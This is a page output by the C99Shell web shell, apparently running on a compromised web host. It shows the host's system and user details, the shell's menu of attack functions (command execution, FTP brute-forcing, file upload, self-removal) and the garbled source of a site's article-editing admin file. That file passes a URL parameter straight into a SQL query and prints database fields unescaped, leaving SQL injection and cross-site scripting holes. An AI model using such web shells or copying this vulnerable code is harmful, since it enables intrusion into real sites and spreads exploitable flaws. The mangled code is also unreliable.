!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/home/www/jothidam.tv/admin/   drwxr-xr-x
Free 3293.37 GB of 8036.4 GB (40.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_articles.php (8.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('include/header.php');
include(
'include/conn.php');
error_reporting(E_ALL);
ini_set('display_errors'1);
$edit_id $_GET['art_edit'];
$edit_qry "SELECT * FROM articles as a LEFT JOIN article_content_table as b ON a.art_id = b.art_for_id WHERE a.art_id = $edit_id";
$qryRes mysqli_query($conn$edit_qry);
$qryRow mysqli_fetch_assoc($qryRes);

$admin_name 'Unknown Admin';


    
$stmt $conn->prepare("SELECT `Admin_Name` FROM `admin_login` WHERE `Admin_ID` = ?");
    
$stmt->bind_param("i"$qryRow['art_create_by']); // assuming Admin_ID is an integer
    
$stmt->execute();
    
$result $stmt->get_result();
    
    if (
$result && $result->num_rows 0) {
        
$row $result->fetch_assoc();
        
$admin_name $row['Admin_Name'];
    }
    
    
$stmt->close();

?>

<link href="https://cdn.datatables.net/1.12.1/css/jquery.dataTables.min.css" rel="stylesheet" type="text/css">
<link href="https://cdn.datatables.net/buttons/2.2.3/css/buttons.dataTables.min.css" rel="stylesheet" type="text/css">

<style type="text/css">
    .dt-buttons {
        width: 50%;
    }
    #intro,#table_contents,#conclusion{
    height:500px !important;
    }
    
</style>

<!-- begin MAIN PAGE CONTENT -->
<div id="page-wrapper" style="min-height:142vh;">
    <div class="page-content">
        <!-- begin PAGE TITLE ROW -->
        <div class="row">
            <div class="col-lg-12">
                <div class="page-title">
                    Edit Articles
                </div>
            </div>

            <div class="col-md-12">
                <form action="./actions/edit_article.php" method="post" enctype="multipart/form-data">
                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="art_title" class="">Article Title</label>
                            <input type="hidden" name="articleId" class="form-control" id="articleId" value="<?= $qryRow['art_id'?>">
                            <input type="text" name="art_title" class="form-control" id="art_title" value="<?= $qryRow['art_title'?>">
                        </div>
                    </div><br>
                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="art_sub_title" class="">Sub Title</label>
                            <input type="text" name="art_sub_title" class="form-control" id="art_sub_title" value="<?= $qryRow['art_sub_title'?>">
                        </div>
                    </div><br>
                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="author_name" class="">Author</label>
                            <input type="text" name="author_name" class="form-control" value="<?= $admin_name ?>" id="author_name">
                            <input type="hidden" name="author_id" value="<?= $_SESSION['admin_id'?>" class="form-control" id="author_name">
                        </div>
                    </div><br>
                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="img_alp" class="">Article Image</label>
                            <img src="<?= $qryRow['art_image'?>" alt="" style="width: 150px;">
                            <input type="file" name="article_image" class="form-control" id="article_image" value="">
                            <input type="hidden" name="oldarticle_image" class="form-control" id="article_image" value="<?= $qryRow['art_image'?>">
                        </div>
                    </div><br>
                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="index_table" class="">Introduction</label>
                            <!-- <input type="text" name="table_contents[]" class="form-control" id="index_table"> -->
                            <textarea name="intro" id="intro" class="form-control" value="<?= $qryRow['art_intro'?>"><?= $qryRow['art_intro'?></textarea>
                        </div>
                    </div><br>
                    
                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="index_table" class="">Heading</label>
                            <input type="text" name="index_table[]" class="form-control" id="index_table" value="<?= $qryRow['art_heading_name'?>">
                        </div>
                    </div><br>
                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="index_table" class=""> Contents</label>
                            <!-- <input type="text" name="table_contents[]" class="form-control" id="index_table"> -->
                            <textarea name="table_contents[]" id="table_contents" class="form-control" value="<?= $qryRow['art_body_contents'?>"><?= $qryRow['art_body_contents'?>></textarea>
                        </div>
                    </div><br>
                    <div class="col-md-12" id="dynamic-fields">
                        <!-- Additional fields will be added here -->
                        <div class="form-group" id="items">

                        </div>
                    </div>
                    <div class="col-md-10" style="display: none;">
                        <button id="add" class="btn btn-warning text-white" type="button">Add <i class='fa fa-solid fa-plus'></i></button>
                    </div><br>
                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="index_table" class="">Conclusion</label>
                            <!-- <input type="text" name="table_contents[]" class="form-control" id="index_table"> -->
                            <textarea name="conclusion" id="conclusion" class="form-control" value="<?= $qryRow['art_conclusion'?>"><?= $qryRow['art_conclusion'?></textarea>
                        </div>
                    </div><br>

                    <div class="col-md-1">
                        <input type="submit" name="article_update" value="Update" class="btn btn-success text-white">
                    </div>
                </form>
            </div>
        </div>
        <!-- /.col-lg-12 -->
    </div>
    <!-- /.row -->
</div>
<!-- /.page-content -->
</div>
<!-- /#page-wrapper -->

<!-- begin FOOTER -->
<?php include('include/footer.php'); ?>


<script src="https://cdn.ckeditor.com/4.16.0/standard/ckeditor.js"></script>

<script>
     $(document).ready(function () {
        let editorCount = 0;

        // Add new section
        $("#add").click(function (e) {
            $("#dynamic-fields").fadeIn(1500);
            $(".delete").fadeIn(1500);

            const newIndex = $(".add_index").length + 1;
            const textareaId = `table_contents${newIndex}`;

            const newField = `
                <div class="add_index">
                    <div class='row'>
                        <div class="form-group col-md-10">
                            <label for="index_table${newIndex}">Heading</label>
                            <input type="text" name="index_table[]" class="form-control" id="index_table${newIndex}">
                        </div>
                        <div class="col-md-1">
                            <div class="form-group">
                                <span class='btn btn-primary mt-4 text-white delete'><i class='fa fa-solid fa-minus'></i></span>
                            </div>
                        </div>
                    </div>
                    <br>
                    <div class="form-group col-md-10">
                        <label for="${textareaId}">Contents</label>
                        <textarea name="table_contents[]" id="${textareaId}" class="form-control"></textarea>
                    </div>
                    <br>
                </div>
            `;

            $("#items").append(newField);

            // Initialize CKEditor on the new textarea
            ClassicEditor
                .create(document.querySelector(`#${textareaId}`))
                .catch(error => {
                    console.error(error);
                });
        });

        // Delete section
        $("body").on("click", ".delete", function (e) {
            $(this).closest(".add_index").remove();
        });
    });
</script>
<script>
    ClassicEditor
        .create(document.querySelector('#intro'))
        .catch(error => {
            console.error(error);
        });
</script>

<script>
    ClassicEditor
        .create(document.querySelector('#conclusion'))
        .catch(error => {
            console.error(error);
        });
</script>

<script>
    ClassicEditor
        .create(document.querySelector('#table_contents'))
        .catch(error => {
            console.error(error);
        });
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0135 ]--